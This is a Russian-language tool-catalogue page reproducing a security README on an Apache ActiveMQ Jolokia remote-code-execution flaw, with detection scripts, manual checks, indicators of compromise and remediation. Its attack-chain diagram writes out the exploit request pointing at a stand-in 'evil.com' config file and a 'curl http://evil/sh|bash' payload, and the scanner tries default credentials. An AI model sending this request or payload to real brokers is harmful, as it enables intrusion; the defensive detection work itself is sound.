Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-34197 — Обнаруживает RCE в Apache ActiveMQ Classic (CVE-2026-34197) через Jolokia API с помощью скриптов на Python и Nmap NSE, проверяя неаутентифицированный доступ и уязвимость версии. | Kitploit
Инструменты/GitHubGitHub/keraattin/cve-2026-34197
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииСетевая безопасностьТестирование на Проникновение
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Обнаруживает RCE в Apache ActiveMQ Classic (CVE-2026-34197) через Jolokia API с помощью скриптов на Python и Nmap NSE, проверяя неаутентифицированный доступ и уязвимость версии.

Репозиторий
245 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-34197 — Удалённое выполнение кода в Apache ActiveMQ Classic через Jolokia API

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Уязвимость удалённого выполнения кода в Apache ActiveMQ Classic, которая позволяет атакующему выполнить произвольный код, вызвав операцию MBean addNetworkConnector(String) через Jolokia API (/api/jolokia/). Атакующий внедряет вредоносный параметр brokerConfig, указывающий на удалённый Spring XML-файл, который ActiveMQ загружает и разбирает, создавая произвольные Java-объекты и добиваясь выполнения кода.

На версиях ActiveMQ с 6.0.0 по 6.1.1 конечная точка Jolokia полностью не требует аутентификации, что делает эту уязвимость RCE без аутентификации и без взаимодействия с пользователем.

Эта уязвимость скрывалась в кодовой базе 13 лет, прежде чем была обнаружена с помощью ИИ.


Оглавление

  • Краткие факты
  • Что такое Apache ActiveMQ?
  • Глубокий анализ уязвимости
    • Архитектура: Jolokia и JMX
    • Цепочка атаки
    • Пробел в аутентификации
  • Анализ воздействия
  • Затронутые версии
  • Обнаружение
    • Python-сканер
    • Nmap NSE-скрипт
    • Ручная проверка
  • Индикаторы компрометации
  • Устранение
  • Ссылки
  • Автор

Краткие факты

ПолеДетали
CVE IDCVE-2026-34197
ПоставщикApache Software Foundation
ПродуктApache ActiveMQ Classic
Затронутые версииВсе версии до 5.19.4 и 6.2.3
RCE без аутентификацииВерсии с 6.0.0 по 6.1.1 (Jolokia не имеет аутентификации)
CVSS v3.18.8 (Высокий)
CWECWE-94 — Некорректный контроль генерации кода
Вектор атакиСеть
АутентификацияТребуется на 5.x; отсутствует на 6.0.0–6.1.1
Взаимодействие с пользователемОтсутствует
Зрелость эксплойтаДоступен публичный PoC
Исправлено вActiveMQ Classic 5.19.4, 6.2.3
Возраст ошибки~13 лет в кодовой базе
ОбнаружениеИсследование уязвимостей с помощью ИИ

Что такое Apache ActiveMQ?

Apache ActiveMQ Classic — один из наиболее широко развёрнутых брокеров сообщений с открытым исходным кодом в экосистеме Java. Он реализует спецификацию Java Message Service (JMS) и служит основой асинхронной коммуникации в тысячах корпоративных сред по всему миру.

ActiveMQ обрабатывает всё: от очередей обработки заказов и конвейеров финансовых транзакций до потоков телеметрии IoT и шин событий микросервисов. Если ваша организация использует Java-микросервисы, событийно-ориентированную архитектуру или любую форму асинхронного обмена сообщениями, велика вероятность, что ActiveMQ присутствует где-то в стеке.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
Когда злоумышленник компрометирует ActiveMQ, он получает не просто шелл на одном сервере. Он оказывается в **центре всех потоков сообщений** в организации, имея возможность читать, изменять, перенаправлять или внедрять сообщения между критически важными системами.

---

## Глубокий анализ уязвимости

### Архитектура: Jolokia и JMX

**JMX** (Java Management Extensions) — это стандартный интерфейс управления для Java-приложений. Он предоставляет «MBeans» (Managed Beans), которые позволяют осуществлять мониторинг и управление внутренними компонентами приложения. ActiveMQ предоставляет MBeans для управления брокерами, очередями, темами, соединениями и многим другим.

**Jolokia** — это мост JMX через HTTP. Он преобразует операции JMX в RESTful JSON API, позволяя управлять Java-приложениями с помощью HTTP-запросов, не требуя выделенного JMX-клиента.

ActiveMQ Classic поставляется со встроенным Jolokia, доступным по адресу `/api/jolokia/` на порту веб-консоли (по умолчанию: 8161).```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

Вот где начинаются проблемы. Jolokia открывает всю мощь управления JMX через простой HTTP API. И одна из операций MBean, доступных на брокере, — это addNetworkConnector(String).

Цепочка атаки

Операция addNetworkConnector(String) предназначена для создания сетевых мостов между экземплярами брокера ActiveMQ. Она принимает строку URI, описывающую, как подключиться к другому брокеру.

ActiveMQ поддерживает схему URI vm:// для внутрипроцессных подключений к брокеру. Эти URI поддерживают параметр brokerConfig, который указывает на файл конфигурации Spring XML. А Spring XML может создавать произвольные Java-объекты.

Вот полная цепочка:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ делает ровно то, для чего был спроектирован: загружает конфигурацию брокера. Проблема в том, что источником конфигурации управляет атакующий, а Spring XML по сути является форматом выполнения кода.

### Пробел в аутентификации

Именно это превращает уязвимость из серьёзной в критическую:

| Версия ActiveMQ | Статус аутентификации Jolokia | Воздействие |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Требуется аутентификация (по умолчанию: admin:admin) | RCE с аутентификацией, часто тривиально обходится |
| 6.0.0 — 6.1.1 | **Полностью без аутентификации** | **RCE без аутентификации** |
| 6.1.2 — 6.2.2 | Требуется аутентификация | RCE с аутентификацией |
| 5.19.4+ / 6.2.3+ | Исправлено | Не уязвимо |

На ActiveMQ 6.0.0 — 6.1.1 конечная точка Jolokia не требует **никакой аутентификации**. Любой, кто может получить доступ к порту 8161, получает удалённое выполнение кода без аутентификации.

Даже на версиях, где Jolokia требует аутентификацию, учётные данные по умолчанию `admin:admin` широко известны и часто остаются без изменений в средах разработки, тестирования и продакшена.

---

## Анализ воздействия

**Непосредственное воздействие на хост брокера:**
- Полное удалённое выполнение кода с правами процесса ActiveMQ
- Доступ ко всем очередям сообщений, топикам и сохранённым сообщениям
- Возможность чтения, изменения и внедрения сообщений при передаче
- Доступ к файлам конфигурации, хранилищам ключей и сохранённым учётным данным

**Каскадное воздействие (через манипуляцию сообщениями):**
- Внедрение вредоносных сообщений в очереди обработки
- Изменение финансовых транзакций, заказов или команд в процессе выполнения
- Перехват конфиденциальных данных, проходящих через брокер
- Нарушение работы всех сервисов, зависящих от сообщений

**Усиление корпоративного риска:**
- ActiveMQ находится на пересечении всех приложений, которые его используют
- Один скомпрометированный брокер может затронуть десятки подключённых сервисов
- Брокеры сообщений обычно размещаются в доверенных сетевых зонах с широким доступом
- Горизонтальное перемещение из сетевого положения брокера выполняется просто```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Затронутые версии

ВерсияСтатус
ActiveMQ Classic 6.2.3+Исправлено
ActiveMQ Classic 5.19.4+Исправлено
ActiveMQ Classic 6.0.0 — 6.2.2Уязвимо (6.0.0 — 6.1.1 = без аутентификации)
ActiveMQ Classic < 5.19.4Уязвимо (с аутентификацией)
ActiveMQ ArtemisНе затронут (другая кодовая база)

Обнаружение

Python-сканер

Python-скрипт обнаруживает уязвимые экземпляры ActiveMQ с помощью многоэтапного анализа.

Как это работает:

  1. Проверка конечной точки Jolokia — Проверяет, доступен ли /api/jolokia/ без аутентификации (HTTP 200 = открыт, 401 = требуется аутентификация)
  2. Тест учётных данных по умолчанию — Если Jolokia требует аутентификацию, пробует admin:admin, user:user, admin:activemq
  3. Определение версии — Сканирует страницы /admin/ и / на наличие строк версии ActiveMQ с помощью сопоставления по регулярным выражениям
  4. Доступность MBean — Выполняет безопасный поисковый запрос Jolokia для org.apache.activemq:type=Broker, чтобы подтвердить наличие пути эксплуатации

Эксплуатирующие полезные нагрузки не отправляются. Команды не выполняются. Сканер только наблюдает за доступностью конечных точек и информацией о версии.

Использование:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**Параметры:**

| Флаг | Описание | По умолчанию |
|------|-------------|---------|
| `-t`, `--target` | Один целевой URL (например, `http://host:8161`) | — |
| `-f`, `--file` | Файл с целевыми URL, по одному на строку (поддерживаются комментарии `#`) | — |
| `-u`, `--username` | Имя пользователя для аутентификации Jolokia | — |
| `-p`, `--password` | Пароль для аутентификации Jolokia | — |
| `-o`, `--output` | Сохранить результаты в JSON-файл | — |
| `--timeout` | Таймаут подключения в секундах | `10` |
| `--verify-ssl` | Включить проверку SSL-сертификата | Отключено |
| `-v`, `--verbose` | Подробный вывод с полными деталями | Выкл |

**Пример вывода:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Nmap NSE-скрипт```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Пример вывода Nmap:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Ручная проверка

Если вы хотите проверить вручную с помощью curl:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
Если на шаге 1 возвращается JSON-ответ с информацией об агенте Jolokia, значит, конечная точка не требует аутентификации. Если на шаге 2 срабатывают учётные данные по умолчанию, у вас есть аутентифицированный доступ. В любом случае, если MBean брокера доступен, путь эксплуатации существует.

---

## Индикаторы компрометации

Обратите внимание на эти признаки в вашей среде:

| Индикатор | Где проверять | На что обращать внимание |
|:---|:---|:---|
| Доступ к Jolokia | Журналы доступа веб-консоли | POST-запросы к `/api/jolokia/`, содержащие `addNetworkConnector` |
| Исходящие запросы | Сетевые журналы / межсетевой экран | HTTP-запросы от ActiveMQ к неожиданным внешним хостам |
| Загрузка Spring XML | Журналы ActiveMQ | Ссылки на URI `xbean:http://` |
| Сетевые коннекторы | Конфигурация брокера | URI `vm://` с параметрами `brokerConfig`, которые вы не создавали |
| Дочерние процессы | Мониторинг процессов | Неожиданные процессы, порождённые Java-процессом ActiveMQ |

**Команды для расследования:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Устранение уязвимости

Немедленные действия (выполните сейчас):

  1. Обновите ActiveMQ Classic до версии 5.19.4 или 6.2.3 (в зависимости от вашей ветки)
  2. Ограничьте доступ к Jolokia, добавив правила межсетевого экрана или ACL на обратном прокси для блокировки внешнего доступа к /api/jolokia/
  3. Смените учётные данные по умолчанию, если вы используете admin:admin на веб-консоли

Краткосрочные меры (на этой неделе):

  1. Проверьте журналы доступа Jolokia на признаки эксплуатации (ищите операции addNetworkConnector)
  2. Просмотрите сетевые коннекторы на всех экземплярах ActiveMQ на предмет несанкционированных записей
  3. Проверьте неожиданные исходящие соединения с хостов брокера ActiveMQ
  4. Смените учётные данные для всех сервисов, подключающихся через брокер

Долгосрочные меры:

  1. Сегментация сети для инфраструктуры брокера сообщений (выделенная управляющая VLAN)
  2. Мониторинг паттернов доступа к Jolokia с оповещениями о непредвиденных операциях MBean
  3. Включите ActiveMQ в регулярное сканирование уязвимостей и циклы управления исправлениями
  4. Отключите Jolokia полностью, если управление JMX не требуется, или привяжите его только к localhost

Ссылки

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Автор

Kerem Oruç — инженер по кибербезопасности

  • GitHub: @keraattin
  • Twitter: @keraattin
Скачать инструмент